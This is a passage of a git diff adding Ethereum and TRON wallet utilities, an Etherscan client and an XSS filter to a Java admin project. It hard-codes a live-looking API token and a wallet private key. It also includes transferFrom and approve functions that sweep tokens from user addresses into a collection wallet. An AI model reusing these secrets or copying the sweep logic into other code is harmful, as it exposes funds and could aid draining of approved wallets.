FunctionEncoder.encode(function); + Transaction transaction = Transaction.createEthCallTransaction(address, usdtAddr, data); + + EthCall ethCall; + BigDecimal balanceValue = BigDecimal.ZERO; + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); + List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); + Integer value = 0; + if(results != null && results.size()>0){ + value = Integer.parseInt(String.valueOf(results.get(0).getValue())); + } + balanceValue = new BigDecimal(value).divide(WEI, 6, RoundingMode.HALF_DOWN); + } catch (IOException e) { + e.printStackTrace(); + } + return balanceValue.toString(); + } + public static String getEth(String addr) throws ExecutionException, InterruptedException { + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetBalance ethGetBalance = web3j.ethGetBalance(addr, + DefaultBlockParameterName.fromString(DefaultBlockParameterName.LATEST.name()) + ).sendAsync().get(); + BigInteger balance = ethGetBalance.getBalance(); + BigDecimal balance2 = new BigDecimal(balance); + //return balance2.divide(new BigDecimal(1000000000000000000L), 6, RoundingMode.HALF_DOWN).toString(); + return Convert.fromWei(balance2, Convert.Unit.ETHER).toString(); + } + + public static String transferEth(String fromAddr, String key, String toAddr, String amount) throws ExecutionException, InterruptedException, ConnectException { + // 获取 nonce 值 + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount(fromAddr, DefaultBlockParameterName.PENDING).sendAsync().get(); + BigInteger nonce = ethGetTransactionCount.getTransactionCount(); + System.out.println(nonce); + + // 构建交易 + RawTransaction etherTransaction = RawTransaction.createEtherTransaction( + nonce, + web3j.ethGasPrice().sendAsync().get().getGasPrice(), + DefaultGasProvider.GAS_LIMIT, + toAddr, + Convert.toWei(amount, Convert.Unit.ETHER).toBigInteger() + ); + System.out.println(etherTransaction); + + // 加载私钥 + Credentials credentials = Credentials.create(key); + + // 使用私钥签名交易并发送 + byte[] signature = TransactionEncoder.signMessage(etherTransaction, credentials); + String signatureHexValue = Numeric.toHexString(signature); + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(signatureHexValue).sendAsync().get(); + return ethSendTransaction.getTransactionHash(); + } + + + public static String transferUSDTByPrivateKey(String from, String to, String value, String privateKey) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + //加载转账所需的凭证,用私钥 + Credentials credentials = Credentials.create(privateKey); + //获取nonce,交易笔数 + BigInteger nonce = getNonce(from); + BigInteger gasPrice = getGasPrice(); + BigInteger gasLimit = Convert.toWei("250000", Convert.Unit.WEI).toBigInteger(); // 最大手续费数量,差不多够转400U.如果到时转账慢了,可调大 + + //代币对象 + Function function = new Function( + "transfer", + Arrays.asList(new Address(to), new Uint256(new BigInteger(value))), + Arrays.asList(new TypeReference() {})); + + String encodedFunction = FunctionEncoder.encode(function); + RawTransaction rawTransaction = RawTransaction.createTransaction(nonce + , gasPrice + , gasLimit + , usdtAddr + , encodedFunction); + //签名Transaction,这里要对交易做签名 + byte[] signMessage = TransactionEncoder.signMessage(rawTransaction, credentials); + String hexValue = Numeric.toHexString(signMessage); + //发送交易 + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get(); + if (Objects.nonNull(ethSendTransaction.getError())) { + log.error(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + throw new RuntimeException(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + } + return ethSendTransaction.getTransactionHash(); + } catch (Exception e) { + log.error("转账ERC20 USDT失败.", e); + return null; + } + } + + public static String proxyTransferUSDTByPrivateKey(String from, String to, String value, String privateKey) { + try { + //加载转账所需的凭证,用私钥 + Credentials credentials = Credentials.create(privateKey); + //获取nonce,交易笔数 + BigInteger nonce = getNonce(to); + BigInteger gasPrice = getGasPrice(); + BigInteger gasLimit = Convert.toWei("250000", Convert.Unit.WEI).toBigInteger(); // 最大手续费数量,差不多够转400U.如果到时转账慢了,可调大 + + //代币对象 + Function function = new Function( + "transferFrom", + Arrays.asList(new Address(from), new Address(to),new Uint256(new BigInteger(value))), + Arrays.asList(new TypeReference() {})); + + String encodedFunction = FunctionEncoder.encode(function); + RawTransaction rawTransaction = RawTransaction.createTransaction(nonce + , gasPrice + , gasLimit + , usdtAddr + , encodedFunction); + //签名Transaction,这里要对交易做签名 + byte[] signMessage = TransactionEncoder.signMessage(rawTransaction, credentials); + String hexValue = Numeric.toHexString(signMessage); + //发送交易 + web3j= Web3j.build(new HttpService(web3jUrl)); + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get(); + if (Objects.nonNull(ethSendTransaction.getError())) { + log.error(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + throw new RuntimeException(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + } + return ethSendTransaction.getTransactionHash(); + } catch (Exception e) { + log.error("转账ERC20 USDT失败.", e); + return null; + } + } + + public static BigInteger getNonce(String address) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount( + address, DefaultBlockParameterName.LATEST).sendAsync().get(); + + BigInteger nonce = ethGetTransactionCount.getTransactionCount(); + return nonce; + } catch (InterruptedException | ExecutionException e) { + log.error(e.getMessage()); + return null; + } + } + + public static BigInteger getGasPrice() { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + return web3j.ethGasPrice().send().getGasPrice(); + } catch (IOException e) { + log.error(e.getMessage(), e); + return null; + } + } + + public static TransactionResult getTransactionResult(String tradeHash) { + TransactionReceipt transaction = getTransaction(tradeHash); +// log.debug("transaction:{}", transaction); + // 还在区块链确认中 + if (Objects.isNull(transaction) || StringUtils.isBlank(transaction.getStatus())) { + return TransactionResult + .builder() + .confirmed(false) + .build(); + } + if (Integer.parseInt(transaction.getStatus().replace("0x", ""), 16) != 1) { + return TransactionResult + .builder() + .confirmed(true) + .success(false) + .failedMsg("区块链交易状态返回失败") + .build(); + } + return TransactionResult + .builder() + .confirmed(true) + .success(true) + .build(); + } + + public static TransactionReceipt getTransaction(String hash) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + return web3j.ethGetTransactionReceipt(hash).send().getResult(); + } catch (IOException e) { + log.error(e.getMessage(), e); + return null; + } + } + + public static String getEthHttp(String addr){ + String url= balanceUrl+ ethKey+"&address="+addr; + JSONObject ret = JSONObject.parseObject(HttpUtil.get(url)); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + return null; + } + } + public static String getUsdtHttp(String addr){ + String url= usdtUrl+ apiKey+"&address="+addr; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.debug("获取ETH USDT余额异常.result:" + ret.getString("result")); + return null; + } + } + public static String getUsdcHttp(String addr){ + String url= usdcUrl+ apiKey+"&address="+addr; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + log.info("获取usdc余额"+ret); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.debug("获取ETH USDT余额异常.result:" + ret.getString("result")); + return null; + } + } + public static String getGasPriceHttp() throws Exception { + String url= "https://api.etherscan.io/api?module=gastracker&action=gasoracle&apikey="+ apiKey; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.error("获取GasPrice.result:" + ret.getString("result")); + throw new Exception(); + + } + } + public static String readJsonFile(String fileName) { + String jsonStr = ""; + try { + File jsonFile = new File(fileName); + FileReader fileReader = new FileReader (jsonFile); + + Reader reader = new InputStreamReader (new FileInputStream(jsonFile), "utf-8"); + int ch = 0; + StringBuffer sb = new StringBuffer(); + while ((ch = reader.read()) != -1) { + sb.append((char) ch); + } + + fileReader.close(); + reader.close(); + jsonStr = sb.toString(); + return jsonStr; + } catch (IOException e) { + e.printStackTrace(); + return null; + } + } + + public static String decryptWallet(String keystore, String password) { + String privateKey = null; + ObjectMapper objectMapper = ObjectMapperFactory.getObjectMapper(); + try { + WalletFile walletFile = objectMapper.readValue(keystore, WalletFile.class); + ECKeyPair ecKeyPair = null; + ecKeyPair = Wallet.decrypt(password, walletFile); + privateKey = ecKeyPair.getPrivateKey().toString(16); + } catch (CipherException e) { + e.printStackTrace(); + if ("Invalid password provided".equals(e.getMessage())) { + System.out.println("密码错误"); + } + } catch (IOException e) { + e.printStackTrace(); + } + return privateKey; + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java new file mode 100644 index 0000000..6332c0d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java @@ -0,0 +1,99 @@ +package com.ruoyi.common.eth; + +import cn.hutool.http.HttpUtil; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.mashape.unirest.http.HttpResponse; +import com.mashape.unirest.http.Unirest; +import com.mashape.unirest.http.exceptions.UnirestException; +import lombok.extern.slf4j.Slf4j; + +import java.util.HashMap; +import java.util.Map; + + +@Slf4j +public class EtherscanApi { + public static final String ethUrl = "https://api.etherscan.io/api"; + public static final String apiToken = "B49VGKYKJKUMZ97TI636Y52RN46V6CY1F4"; + public static final String usdtAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + private String token; + + //查询eth + public void getEthBalance(String address){ + Map params = new HashMap(); + params.put("apikey", apiToken); + params.put("action", "balance"); + params.put("module", "account"); + params.put("tag", "latest"); + params.put("address", address); + + String ret = HttpUtil.get(ethUrl, params); + log.debug("sendRawTransaction result = {}",ret); + } + //查询usdt + public void getErc20Balance(String address){ + Map params = new HashMap(); + params.put("apikey", apiToken); + params.put("action", "tokenbalance"); + params.put("module", "account"); + params.put("tag", "latest"); + params.put("address", address); + params.put("contractaddress", usdtAddr); + + String ret = HttpUtil.get(ethUrl, params); + log.debug("sendRawTransaction result = {}",ret); + } + + public void sendRawTransaction(String hexValue){ + try { + HttpResponse response = Unirest.post("https://api.etherscan.io/api") + .field("module","proxy") + .field("action","eth_sendRawTransaction") + .field("hex",hexValue) + .field("apikey",token) + .asString(); + log.debug("sendRawTransaction result = {}",response.getBody()); + } catch (UnirestException e) { + e.printStackTrace(); + } + } + + + public boolean checkEventLog(final Long blockHeight,String address,String topic0,String txid){ + try { + HttpResponse response = Unirest.post("https://api.etherscan.io/api") + .field("module", "logs") + .field("action", "getLogs") + .field("fromBlock", blockHeight) + .field("toBlock",blockHeight) + .field("address",address) + .field("topic0",topic0) + .field("apikey", token) + .asString(); + log.debug("getLogs result = {}",response.getBody()); + JSONObject result = JSON.parseObject(response.getBody()); + if(result.getInteger("status")==0){ + return false; + } + else{ + JSONArray txs = result.getJSONArray("result"); + for(int i=0;i excludes = new ArrayList<>(); + + @Override + public void init(FilterConfig filterConfig) throws ServletException + { + String tempExcludes = filterConfig.getInitParameter("excludes"); + if (StringUtils.isNotEmpty(tempExcludes)) + { + String[] url = tempExcludes.split(","); + for (int i = 0; url != null && i < url.length; i++) + { + excludes.add(url[i]); + } + } + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException + { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + if (handleExcludeURL(req, resp)) + { + chain.doFilter(request, response); + return; + } + XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); + chain.doFilter(xssRequest, response); + } + + private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) + { + String url = request.getServletPath(); + String method = request.getMethod(); + // GET DELETE 不过滤 + if (method == null || HttpMethod.GET.matches(method) || HttpMethod.DELETE.matches(method)) + { + return true; + } + return StringUtils.matches(url, excludes); + } + + @Override + public void destroy() + { + + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java new file mode 100644 index 0000000..05149f0 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java @@ -0,0 +1,111 @@ +package com.ruoyi.common.filter; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import javax.servlet.ReadListener; +import javax.servlet.ServletInputStream; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletRequestWrapper; +import org.apache.commons.io.IOUtils; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.html.EscapeUtil; + +/** + * XSS过滤处理 + * + * @author ruoyi + */ +public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper +{ + /** + * @param request + */ + public XssHttpServletRequestWrapper(HttpServletRequest request) + { + super(request); + } + + @Override + public String[] getParameterValues(String name) + { + String[] values = super.getParameterValues(name); + if (values != null) + { + int length = values.length; + String[] escapesValues = new String[length]; + for (int i = 0; i < length; i++) + { + // 防xss攻击和过滤前后空格 + escapesValues[i] = EscapeUtil.clean(values[i]).trim(); + } + return escapesValues; + } + return super.getParameterValues(name); + } + + @Override + public ServletInputStream getInputStream() throws IOException + { + // 非json类型,直接返回 + if (!isJsonRequest()) + { + return super.getInputStream(); + } + + // 为空,直接返回 + String json = IOUtils.toString(super.getInputStream(), "utf-8"); + if (StringUtils.isEmpty(json)) + { + return super.getInputStream(); + } + + // xss过滤 + json = EscapeUtil.clean(json).trim(); + byte[] jsonBytes = json.getBytes("utf-8"); + final ByteArrayInputStream bis = new ByteArrayInputStream(jsonBytes); + return new ServletInputStream() + { + @Override + public boolean isFinished() + { + return true; + } + + @Override + public boolean isReady() + { + return true; + } + + @Override + public int available() throws IOException + { + return jsonBytes.length; + } + + @Override + public void setReadListener(ReadListener readListener) + { + } + + @Override + public int read() throws IOException + { + return bis.read(); + } + }; + } + + /** + * 是否是Json请求 + * + * @param request + */ + public boolean isJsonRequest() + { + String header = super.getHeader(HttpHeaders.CONTENT_TYPE); + return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java new file mode 100644 index 0000000..85bdda4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.huobi; + +import com.google.common.collect.Lists; + +import java.util.List; + +public class HuobiConfig { + //火币订阅格式 + public static List getSubList(String symbol){ + List channels = Lists.newArrayList(); + channels.add("market."+symbol+"-USDT.kline.1min"); + channels.add("market."+symbol+"-USDT.trade.detail"); + channels.add("market."+symbol+"-USDT.detail"); + return channels; + } + public static String getKline(String symbol){ + String kilne = "market."+symbol+"-USDT.kline.1min"; + return kilne; + } + public static String getTrade(String symbol){ + String kilne = "market."+symbol+"-USDT.trade.detail"; + return kilne; + } + public static String getDetail(String symbol){ + String kilne = "market."+symbol+"-USDT.detail"; + return kilne; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java new file mode 100644 index 0000000..7cdccef --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java @@ -0,0 +1,10 @@ + +package com.ruoyi.common.trc; + +import lombok.Data; + +@Data +public class TRC { + private boolean confirmed; + private String contractRet; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java new file mode 100644 index 0000000..a20f644 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.trc; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class TransactionResult { + + // false-确认中/TRUE-已确认 + private boolean confirmed; + // TRUE-成功/false-失败 + private boolean success; + // 失败描述 + private String failedMsg; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java new file mode 100644 index 0000000..aa8725d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java @@ -0,0 +1,252 @@ +package com.ruoyi.common.trc; + +import cn.hutool.crypto.SecureUtil; +import com.ruoyi.common.utils.StringUtils; +import org.tron.trident.abi.FunctionReturnDecoder; +import org.tron.trident.abi.TypeReference; +import org.tron.trident.abi.datatypes.Address; +import org.tron.trident.abi.datatypes.Bool; +import org.tron.trident.abi.datatypes.Function; +import org.tron.trident.abi.datatypes.Utf8String; +import org.tron.trident.abi.datatypes.generated.Uint256; +import org.tron.trident.abi.datatypes.generated.Uint8; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Contract; +import org.tron.trident.core.transaction.TransactionBuilder; +import org.tron.trident.proto.Chain; +import org.tron.trident.proto.Response; +import org.tron.trident.utils.Base58Check; +import org.tron.trident.utils.Numeric; + +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; + +public class Trc20Contract extends Contract { + protected int decimals; + + public Trc20Contract(Contract cntr, String ownerAddr, ApiWrapper wrapper) { + super(cntr, ownerAddr, wrapper); + decimals = decimals().intValue(); + } + + /** + * Call function name() public view returns (string). + * + * Returns the name of the token - e.g. "MyToken". + * + * @return the name of the token + */ + //调用TRC20合约的name()函数获取通证的名称。 + public String name() { + Function name = new Function("name", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), name); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (String) FunctionReturnDecoder.decode(result, name.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function symbol() public view returns (string). + * + * Returns the symbol of the token. E.g. "HIX". + * + * @return the symbol of the token + */ + //调用TRC20合约的symbol函数获取代币的符号 + public String symbol() { + Function symbol = new Function("symbol", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), symbol); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (String)FunctionReturnDecoder.decode(result, symbol.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function decimals() public view returns (uint8). + * + * Returns the number of decimals the token uses - e.g. 8, + * means to divide the token amount by 100000000 to get its user representation + * + * @return the number of decimals the token uses + */ + //调用TRC20合约的decimals函数获取代币的精度 + public BigInteger decimals() { + Function decimals = new Function("decimals", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), decimals); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, decimals.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function totalSupply() public view returns (uint256). + * + * Returns the total token supply. + * + * @return the total token supply + */ + //调用TRC20合约的totalSupply函数获取代币的总供应量。 + public BigInteger totalSupply() { + Function totalSupply = new Function("totalSupply", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), totalSupply); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, totalSupply.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function balanceOf(address _owner) public view returns (uint256 balance). + * + * Returns the account balance of another account with address _owner. + * + * @param accountAddr The token owner's address + // * @param callerAddr The caller's address + // * @param cntrAddr The contract's address + * @return the account balance of another account with address _owner + */ + //调用TRC20合约的balanceOf函数获取指定账户的代币余额 + public BigInteger balanceOf(String accountAddr) { + Function balanceOf = new Function("balanceOf", + Arrays.asList(new Address(accountAddr)), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), balanceOf); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, balanceOf.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function transfer(address _to, uint256 _value) public returns (bool success). + * + * Transfers _value amount of tokens to address _to. + * + * @param destAddr The address to receive the token + * @param amount The transfer amount + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的transfer函数进行代币转账。 + public String transfer(String destAddr, long amount, + String memo, long feeLimit) { + Function transfer = new Function("transfer", + Arrays.asList(new Address(destAddr), + new Uint256(BigInteger.valueOf(amount))), + Arrays.asList(new TypeReference() {})); + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), transfer); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + + /** + * call function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) + * + * The transferFrom method is used for a withdraw workflow, + * allowing contracts to transfer tokens on your behalf. This can only be called + * when someone has allowed you some amount. + * + * @param fromAddr The address who sends tokens (or the address to withdraw from) + * @param destAddr The address to receive the token + * @param amount The transfer amount + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的transferFrom函数从他们账户中转账代币,需要配合approve方法使用。 + public String transferFrom(String fromAddr, String destAddr, long amount, + String memo, long feeLimit) { + Function transferFrom = new Function("transferFrom", + Arrays.asList(new Address(fromAddr) ,new Address(destAddr), + new Uint256(BigInteger.valueOf(amount))), + Arrays.asList(new TypeReference() {})); + com.google.protobuf.ByteString ownerAddr1 = ownerAddr; + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), transferFrom); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + public static String aesDecrypt(String key,String content){ + if(StringUtils.isBlank(key) || StringUtils.isBlank(content)){ + return ""; + } + byte[] decode = Base64.getDecoder().decode(key); + return SecureUtil.aes(decode).decryptStr(content); + } + + /** + * Call function approve(address _spender, uint256 _value) public returns (bool success) + * + * Allows _spender to withdraw from your account multiple times, up to the _value amount. + * If this function is called again it overwrites the current allowance with _value. + * + * @param spender The address who is allowed to withdraw. + * @param amount The amount allowed to withdraw. + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的approve函数授权代币使用权给其他地址 + public String approve(String spender ,long amount, + String memo, long feeLimit) { + Function approve = new Function("approve", + Arrays.asList(new Address(spender) , + new Uint256(BigInteger.valueOf(amount).multiply(BigInteger.valueOf(10).pow(decimals)))), + Arrays.asList(new TypeReference() {})); + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), approve); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + + /** + * Call function allowance(address _owner, address _spender) public view returns (uint256 remaining). + * + * Returns the amount which _spender is still allowed to withdraw from _owner. + * + * @param owner The address to be withdrew from. + * @param spender The address of the withdrawer. + // * @param callerAddr The caller's address + // * @param cntrAddr The contract's address + * @return the amount which _spender is still allowed to withdraw from _owner + */ + //调用TRC20合约的allowance函数查询可供第三方转账的查询账户的通证余额。 + public BigInteger allowance(String owner, String spender) { + Function allowance = new Function("allowance", + Arrays.asList(new Address(owner), new Address(spender)), + Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), allowance); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, allowance.getOutputParameters()).get(0).getValue(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java new file mode 100644 index 0000000..bc2d3a5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java @@ -0,0 +1,110 @@ +package com.ruoyi.common.trc; + + +import cn.hutool.core.util.HexUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Trc20Contract; +import org.tron.trident.proto.Chain; +import org.tron.trident.proto.Response; +import org.tron.trident.utils.Base58Check; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.util.Date; + + + +@Service +@Slf4j +public class Trc20Service { + + //Hex + //@Value("${tron.contract-address}") + private String contractAddress = "0x282abe3f315cc1e3f7fddba6bfecce833a378300"; + + //Hex + //@Value("${tron.address}") + private String address = "0xd3109fbd400f73dc7d96c7bf8de169cb917438fc"; + + //@Value("${tron.private-key}") + private String privateKey = "fb61d82ab7dd6763357afd4381ba37da180936c27692116e129b488e2b375e35"; + + //token的精度 就是小数点后面有多少位小数 然后1后面加多少个0就可以 + private static final BigDecimal decimal = new BigDecimal("1000000"); + + + public BigInteger balanceOf(String address) { + ApiWrapper client = ApiWrapper.ofShasta(privateKey); + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new org.tron.trident.core.contract.Trc20Contract(contract, address, client); + BigInteger balance = token.balanceOf(address); + return balance; + + } + + public String transferFee(String toAddress, long feeAmt) { + ApiWrapper client = ApiWrapper.ofNile(privateKey); + try { + log.debug("矿工费地址" + toAddress + "费用:" + feeAmt); + Response.TransactionExtention result = client.transfer(address, toAddress, feeAmt * 1000000); + Chain.Transaction signedTransaction = client.signTransaction(result); + String txId = client.broadcastTransaction(signedTransaction); + log.debug("转账矿工费成功" + toAddress + ":::" + txId); + return txId; + } catch (Exception e) { + log.error("矿工费转账失败:" + e); + } + return null; + } + + //用户合约中代币向归集中转账 + public String transferContract(String fromAddress, String privateKey, long amount) { + ApiWrapper client = ApiWrapper.ofNile(privateKey); + try { + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new org.tron.trident.core.contract.Trc20Contract(contract, fromAddress, client); + + String txId = token.transfer(address, amount,0, "代币转账", 1000000000L); + + return txId; + } catch (Exception e) { + log.error("地址" + fromAddress + new Date() + "转账失败:" + e); + } + return null; + } + + //用户提现 + public boolean withdraw(String toAddress, long amount) { + //ApiWrapper client = ApiWrapper.ofNile(privateKey); + ApiWrapper client = ApiWrapper.ofShasta(privateKey); + try { + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new Trc20Contract(contract, address, client); + + String txId = token.transfer(toAddress, amount,0, "代币转账", 1000000000L); + return true; + } catch (Exception e) { + log.error("地址" + toAddress + new Date() + "转账失败:" + e); + return false; + } + } + public static String base582Hex(String base58){ + byte[] bytes = Base58Check.base58ToBytes(base58); + return HexUtil.encodeHexStr(bytes); + } + public static void main(String[] args){ + String usdtString = "TCWQcSjbi2Hn9v4D38xaLeT2USndDhVpc5"; + //String zeroString = "T9yD14Nj9j7xAB4dbGeiX9h8unkKHxuWwb"; + System.out.println(base582Hex(usdtString)); + } +} + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java new file mode 100644 index 0000000..1b0d066 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java @@ -0,0 +1,166 @@ +package com.ruoyi.common.trc; + +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; +import cn.hutool.json.JSONUtil; + +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.utils.StringUtils; +import lombok.Data; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Contract; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +public class TronUtils { + /** + * 